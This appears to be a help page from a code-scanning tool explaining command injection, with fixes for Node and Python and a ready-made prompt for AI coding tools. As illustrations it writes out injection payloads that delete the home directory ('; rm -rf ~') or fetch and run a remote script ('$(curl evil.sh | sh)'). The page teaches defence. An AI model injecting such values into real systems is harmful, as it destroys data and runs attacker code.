- Home
- The 30 checks
- User input goes into a shell command
User input goes into a shell command
In plain English: Your server runs a shell command and pastes in text that came from a request, such as a file name or a web address. Someone can send a value with extra commands hidden in it, and your server runs those too. This is called command injection.
What happens if you ship it
Someone sends a value such as ; rm -rf ~ or $(curl evil.sh | sh) and your server runs it, with every right your app has.
How to fix it technical
Let your AI tool fix it
Paste this into Lovable, Bolt, Cursor, Replit or Claude Code:
Fix this problem in my project: User input goes into a shell command. Never build a shell command from request values. Use execFile or spawn with an array of arguments and no shell (in Python, subprocess.run with a list and no shell=True), and check each value against a list of allowed values first. Change only what this fix needs, then tell me what you changed and anything I have to do myself.Check your app
Run npx sigship in your project folder. It reports this problem as shell-command-from-request, along with 29 other checks. Nothing leaves your computer. New to the terminal?
Questions
What is command injection?
Tricking a server into running commands by hiding them in input, for example a file name like photo.jpg; rm -rf ~. It happens when an app builds a shell command by joining text together.
How do I fix it in Node?
Use execFile or spawn with the program and an array of arguments, and no shell. Check each value against a list of allowed values first.
And in Python?
Call subprocess.run with a list of arguments and without shell=True, and never pass an f-string to os.system.